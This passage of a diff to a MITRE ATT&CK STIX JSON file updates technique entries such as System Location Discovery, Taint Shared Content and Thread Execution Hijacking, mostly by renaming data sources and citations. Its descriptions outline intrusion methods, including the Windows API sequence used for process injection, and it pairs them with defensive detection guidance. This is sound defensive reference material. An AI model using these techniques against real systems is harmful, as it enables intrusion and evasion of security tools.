adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", + "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-04-20T19:25:49.977Z", + "created": "2021-04-01T16:42:08.735Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.", + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Wes Hurd", + "Katie Nickels, Red Canary" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ] }, { "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", @@ -31427,7 +32963,7 @@ "phase_name": "discovery" } ], - "modified": "2020-03-15T00:55:33.136Z", + "modified": "2021-04-24T13:13:49.594Z", "created": "2017-05-31T21:30:27.342Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -31440,15 +32976,27 @@ ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Script: Script Execution", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_version": "1.2" }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:30:45.139Z", + "modified": "2021-03-08T10:33:01.083Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } ], + "type": "attack-pattern", + "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "System Network Connections Discovery", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", "external_references": [ { "source_name": "mitre-attack", @@ -31471,41 +33019,30 @@ "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019." } ], - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", - "name": "System Network Connections Discovery", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-03-15T14:15:32.910Z", - "created": "2017-05-31T21:30:45.139Z", - "x_mitre_is_subtechnique": false, - "x_mitre_contributors": [ - "Praetorian" + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" ], - "x_mitre_version": "2.1", - "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_permissions_required": [ "User", "Administrator" ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "AWS", - "GCP", - "Azure" - ] + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "2.2", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_is_subtechnique": false }, { "created": "2017-05-31T21:30:35.733Z", @@ -31547,9 +33084,8 @@ ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_version": "1.2", "x_mitre_is_subtechnique": false @@ -31585,8 +33121,8 @@ "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.1", "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_permissions_required": [ @@ -31633,10 +33169,11 @@ ], "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.", "x_mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Command: Command Execution", + "Process: Process Creation", + "Service: Service Creation", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_platforms": [ "Windows", @@ -31688,9 +33225,9 @@ "Windows" ], "x_mitre_data_sources": [ - "Windows event logs", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Sensor Health: Host Status" ], "x_mitre_permissions_required": [ "User", @@ -31709,7 +33246,7 @@ "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "System Time Discovery", - "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.", + "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", "external_references": [ { "source_name": "mitre-attack", @@ -31735,6 +33272,11 @@ "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf", "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.", "source_name": "RSA EU12 They're Inside" + }, + { + "source_name": "AnyRun TimeBomb", + "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/", + "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021." } ], "object_marking_refs": [ @@ -31747,8 +33289,11 @@ "phase_name": "discovery" } ], - "modified": "2020-03-15T01:07:42.700Z", + "modified": "2021-04-22T23:09:24.799Z", "created": "2017-05-31T21:31:37.450Z", + "x_mitre_contributors": [ + "FIRST.ORG's Cyber Threat Intelligence SIG" + ], "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows" @@ -31758,11 +33303,11 @@ ], "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.", "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "API monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", @@ -31883,9 +33428,12 @@ "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Creation", + "Service: Service Modification" ], "x_mitre_contributors": [ "Tony Lambert, Red Canary" @@ -31955,9 +33503,10 @@ "SarathKumar Rajendran, Trimble Inc" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", "x_mitre_permissions_required": [ @@ -32026,11 +33575,9 @@ "modified": "2020-10-22T16:35:53.806Z", "created": "2020-10-20T00:06:56.180Z", "x_mitre_data_sources": [ - "Network device run-time memory", - "Network device command history", - "Network device configuration", - "File monitoring", - "Network device logs" + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Firmware: Firmware Modification" ], "x_mitre_permissions_required": [ "Administrator" @@ -32043,18 +33590,10 @@ ] }, { - "created": "2017-05-31T21:31:01.759Z", - "modified": "2020-03-31T22:14:56.107Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "type": "attack-pattern", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Taint Shared Content", + "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "external_references": [ { "source_name": "mitre-attack", @@ -32072,30 +33611,40 @@ "source_name": "Retwin Directory Share Pivot" } ], - "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", - "name": "Taint Shared Content", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", - "x_mitre_version": "1.2", - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_contributors": [ - "Michal Dida, ESET", - "David Routin" + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } ], - "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", - "x_mitre_permissions_required": [ - "User" + "modified": "2020-03-31T22:14:56.107Z", + "created": "2017-05-31T21:31:01.759Z", + "x_mitre_is_subtechnique": false, + "x_mitre_system_requirements": [ + "Access to shared folders and content with write permissions" ], "x_mitre_platforms": [ "Windows" ], - "x_mitre_system_requirements": [ - "Access to shared folders and content with write permissions" + "x_mitre_permissions_required": [ + "User" ], - "x_mitre_is_subtechnique": false + "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", + "x_mitre_contributors": [ + "Michal Dida, ESET", + "David Routin" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "File: File Modification", + "Network Share: Network Share Access" + ], + "x_mitre_version": "1.2" }, { "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", @@ -32168,10 +33717,9 @@ "Static File Analysis" ], "x_mitre_data_sources": [ - "Anti-virus", - "Email gateway", - "Network intrusion detection system", - "Web logs" + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_contributors": [ "Brian Wiltse @evalstrings", @@ -32180,26 +33728,8 @@ "x_mitre_version": "1.2" }, { - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.003", - "url": "https://attack.mitre.org/techniques/T1055/003" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Thread Execution Hijacking", - "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Endgame Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", - "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", - "type": "attack-pattern", + "created": "2020-01-14T01:28:32.166Z", + "modified": "2020-11-10T18:29:30.941Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -32210,24 +33740,42 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:21:29.233Z", - "created": "2020-01-14T01:28:32.166Z", - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" + "type": "attack-pattern", + "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", + "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "name": "Thread Execution Hijacking", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "Process monitoring", - "API monitoring" + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1055.003", + "url": "https://attack.mitre.org/techniques/T1055/003" + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "source_name": "Elastic Process Injection July 2017" + } ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_platforms": [ - "Windows" + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" ] }, { @@ -32245,7 +33793,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" } ], "object_marking_refs": [ @@ -32266,17 +33814,17 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:23:30.093Z", + "modified": "2020-11-10T18:29:30.984Z", "created": "2020-01-14T01:30:41.092Z", "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], "x_mitre_data_sources": [ - "Process monitoring", - "API monitoring" + "Process: OS API Execution", + "Process: Process Access" ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ @@ -32301,7 +33849,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Threat Intel Vendors", - "description": "Before compromising a victim, adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41", "type": "attack-pattern", "kill_chain_phases": [ @@ -32310,7 +33858,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:15:53.678Z", + "modified": "2021-04-15T03:45:30.862Z", "created": "2020-10-02T17:03:45.918Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -32320,21 +33868,8 @@ ] }, { - "created": "2020-03-06T21:11:11.225Z", - "modified": "2020-07-01T16:32:02.532Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or 